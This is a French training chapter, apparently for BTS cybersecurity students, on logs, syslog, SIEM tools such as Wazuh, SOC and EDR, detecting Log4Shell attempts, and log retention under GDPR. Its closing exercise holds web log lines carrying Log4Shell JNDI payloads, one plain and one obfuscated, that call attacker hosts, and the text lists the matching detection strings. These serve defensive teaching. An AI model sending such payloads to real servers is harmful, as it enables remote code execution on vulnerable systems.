Journaux, SIEM et détection des incidents

Un journal (log) est l'enregistrement horodaté des événements d'un système : connexions, erreurs, paquets refusés, commandes d'administration. Un SIEM (Security Information and Event Management) collecte les journaux de toute l'infrastructure, les normalise, les corrèle et déclenche des alertes quand un enchaînement d'événements ressemble à une attaque. Ce chapitre présente les sources de journaux, le format syslog, les événements Windows à connaître, la centralisation, le fonctionnement d'un SIEM comme Wazuh, et les règles de conservation des journaux.

À quoi servent les journaux

Le référentiel du BTS demande de savoir « détecter les actions malveillantes » et « organiser la collecte et la conservation des preuves numériques ». Les journaux servent à trois choses :

• détecter : une rafale d'échecs de connexion, un compte ajouté au groupe des administrateurs à 3 h du matin, un serveur qui contacte une adresse inconnue ;
• enquêter : reconstituer après un incident ce qui s'est passé, depuis quand, par où l'attaquant est entré, ce qu'il a touché ;
• prouver : établir qui a fait quoi, devant la direction, un assureur ou un juge (le critère de preuve du DICP).

Sans journaux centralisés, une investigation est presque impossible : l'attaquant efface les journaux locaux, ou ils ont déjà été écrasés par manque de place. C'est l'une des difficultés relevées dans l'analyse forensique du sujet E7 SISR 2026.

Les sources de journaux

Syslog

Syslog est le standard d'envoi des journaux sous Linux et sur les équipements réseau (format décrit par la RFC 5424). Chaque message porte une facilité (le type de programme qui l'émet) et une gravité :

Les facilités les plus courantes sont kern (0), user (1), mail (2), daemon (3), auth (4), syslog (5), authpriv (10) et local0 à local7 (16 à 23), ces dernières étant libres et souvent utilisées par les équipements réseau. Au début de chaque message, la priorité <PRI> combine les deux : PRI = facilité × 8 + gravité. Par exemple :

<86>1 2026-04-21T03:12:44+02:00 srv-web sshd 2214 - - Failed password for invalid user admin from 198.51.100.23 port 51514 ssh2

<86> donne 86 = 10 × 8 + 6 : facilité authpriv, gravité info. Le message indique un échec de connexion SSH pour un utilisateur admin qui n'existe pas, depuis une adresse d'Internet.

Le transport. Syslog circule historiquement en UDP 514 : sans accusé de réception ni chiffrement, un message peut se perdre ou être lu en route. On préfère TCP, et idéalement TLS (TCP 6514), qui garantit la livraison, la confidentialité et l'authenticité du collecteur. Sur un serveur Debian, rsyslog (à installer : depuis Debian 12, les journaux sont gardés par journald et rsyslog n'est plus installé par défaut) envoie tout au collecteur avec un fichier /etc/rsyslog.d/90-central.conf :

*.* action(type="omfwd" target="192.168.10.180" port="514" protocol="tcp"
           queue.type="LinkedList" queue.filename="envoi_central"
           action.resumeRetryCount="-1")

La file d'attente sur disque garde les messages si le collecteur est injoignable, et les envoie quand il revient. Le passage à TLS ajoute un certificat signé par l'AC interne et les paramètres StreamDriver d'rsyslog, et le port passe à 6514, le seul qu'ouvre la matrice des flux de Sorbier (chapitre 3).

Les événements Windows à connaître

Les contrôleurs de domaine et les serveurs Windows écrivent dans le journal Sécurité des événements numérotés, à condition que la stratégie d'audit les active. Ceux qui reviennent le plus :

Les journaux Windows remontent vers le collecteur par un agent (Wazuh, NXLog) ou par le transfert d'événements intégré à Windows (Windows Event Forwarding).

Centraliser : le serveur de journaux

Les journaux de toutes les machines sont envoyés en temps réel vers un serveur central (srv-journaux, 192.168.10.180, chez Sorbier). Cela permet de les conserver même si une machine est compromise ou détruite, de les rechercher en un seul endroit et de les corréler. Le serveur central doit être protégé à la hauteur de ce qu'il contient :

• accès réservé à quelques personnes habilitées, distinctes si possible des administrateurs des systèmes surveillés (un administrateur malveillant ne doit pas pouvoir effacer ses propres traces) ;
• journaux stockés en ajout seul ou en archives signées, pour en garantir l'intégrité ;
• sauvegardé, et dimensionné pour la durée de conservation prévue.

Le SIEM

Un serveur de journaux stocke ; un SIEM analyse. Ses fonctions :

1. Collecter les journaux de toutes les sources (syslog, agents, API des services en nuage).
2. Normaliser : un échec de connexion s'écrit différemment dans un journal SSH, un événement Windows 4625 et un journal de VPN ; le SIEM les range dans un même format (utilisateur, source, action, résultat).
3. Corréler : rapprocher des événements de sources différentes qui, ensemble, décrivent une attaque.
4. Alerter et présenter des tableaux de bord.
5. Conserver et permettre la recherche lors d'une enquête.

Wazuh est le SIEM libre le plus utilisé en formation et dans les PME. Il se compose d'agents installés sur les machines (Windows, Linux, macOS), qui envoient journaux, contrôle d'intégrité des fichiers et inventaire au serveur Wazuh (ports TCP 1514 pour les événements, 1515 pour l'inscription des agents) ; d'un indexeur qui stocke et indexe ; et d'un tableau de bord web. Il reçoit aussi le syslog des équipements réseau. Ses règles associent chaque alerte à une technique de MITRE ATT&CK. Dans les grandes organisations, on rencontre aussi Splunk, Elastic Security, Microsoft Sentinel ou IBM QRadar. Le cours Wazuh l'installe sur le labo de Sorbier et montre comment lire une alerte et détecter les incidents courants.

Quelques règles de corrélation typiques :

SOC, EDR et organisation de la détection

Les alertes ne servent que si quelqu'un les traite. Un SOC (Security Operations Center) est l'équipe qui surveille les alertes, les qualifie (vrai ou faux positif), et déclenche la réponse. Une PME comme Sorbier n'a pas les moyens d'un SOC interne ouvert jour et nuit : elle confie souvent cette surveillance à un prestataire (SOC externalisé, service MDR, Managed Detection and Response), comme dans le sujet 2026, où le SOC d'un prestataire suit les alertes de l'entreprise.

Sur les machines, l'EDR (Endpoint Detection and Response) a remplacé l'antivirus classique : il observe le comportement des programmes (un traitement de texte qui lance PowerShell, un processus qui chiffre des centaines de fichiers), alerte, et peut isoler la machine du réseau à distance. L'XDR étend la même logique en corrélant postes, réseau, messagerie et identités.

Exemple : chercher Log4Shell dans des journaux

La faille Log4Shell (CVE-2021-44228), analysée dans le sujet 2026, touche la bibliothèque Java Log4j 2 (versions 2.0 à 2.14.1). Une application vulnérable qui journalise une chaîne contrôlée par l'attaquant (un en-tête HTTP, un identifiant saisi) peut être amenée à télécharger et exécuter du code. Côté défense, deux questions :

• Quelles machines sont des cibles potentielles ? Celles qui exécutent une application Java embarquant une version vulnérable de Log4j 2, en particulier si elle est joignable depuis Internet. L'inventaire logiciel et un outil de recherche des bibliothèques sur les serveurs répondent à la question ; la correction est de passer à Log4j 2.17.1 ou plus, idéalement à la dernière version.
• Y a-t-il des traces de tentatives ? Dans les journaux du serveur web ou de l'application, les tentatives contiennent la chaîne ${jndi:, souvent suivie de ldap:// ou dns://, dans l'URL, l'en-tête User-Agent ou un champ de formulaire, parfois déguisée (${${lower:j}ndi:). Une tentative n'est pas une compromission : il faut ensuite vérifier si le serveur a réellement contacté l'adresse indiquée (journaux du pare-feu, connexions sortantes).

Combien de temps conserver les journaux ?

• Les journaux contiennent des données personnelles (identifiants, adresses IP, sites consultés) : le RGPD s'applique. Leur durée de conservation doit être fixée et justifiée, et le traitement inscrit au registre.
• La CNIL recommande, pour les journaux de sécurité des accès, une durée de conservation comprise entre six mois et un an, sauf obligation légale particulière.
• Un organisme qui fournit un accès à Internet au public conserve les données qui permettent d'identifier l'utilisateur d'une connexion pendant un an (chapitre 8).
• Ne pas confondre avec les archives comptables (dix ans, article L123-22 du Code de commerce) ou fiscales (six ans, article L102 B du Livre des procédures fiscales), qui concernent des documents, pas les journaux techniques.

Au-delà de la durée, la CNIL demande de protéger les journaux (accès restreint, intégrité), et de les exploiter réellement : collecter sans jamais regarder n'a pas de sens.

Pour aller plus loin. Le cours Journalisation et réponse à incident détaille quoi journaliser et combien de temps, la lecture des logs et les indicateurs de compromission.

Exercices

198.51.100.77 - - [17/Apr/2026:10:12:01 +0200] "GET /suivi?colis=4471 HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
203.0.113.99 - - [17/Apr/2026:10:14:37 +0200] "GET / HTTP/1.1" 200 1032 "-" "${jndi:ldap://203.0.113.99:1389/a}"
198.51.100.77 - - [17/Apr/2026:10:15:10 +0200] "GET /suivi?colis=4472 HTTP/1.1" 200 5098 "-" "Mozilla/5.0"
192.0.2.14 - - [17/Apr/2026:10:16:52 +0200] "GET /?q=${${lower:j}ndi:dns://192.0.2.14/x} HTTP/1.1" 200 1032 "-" "curl/8.5"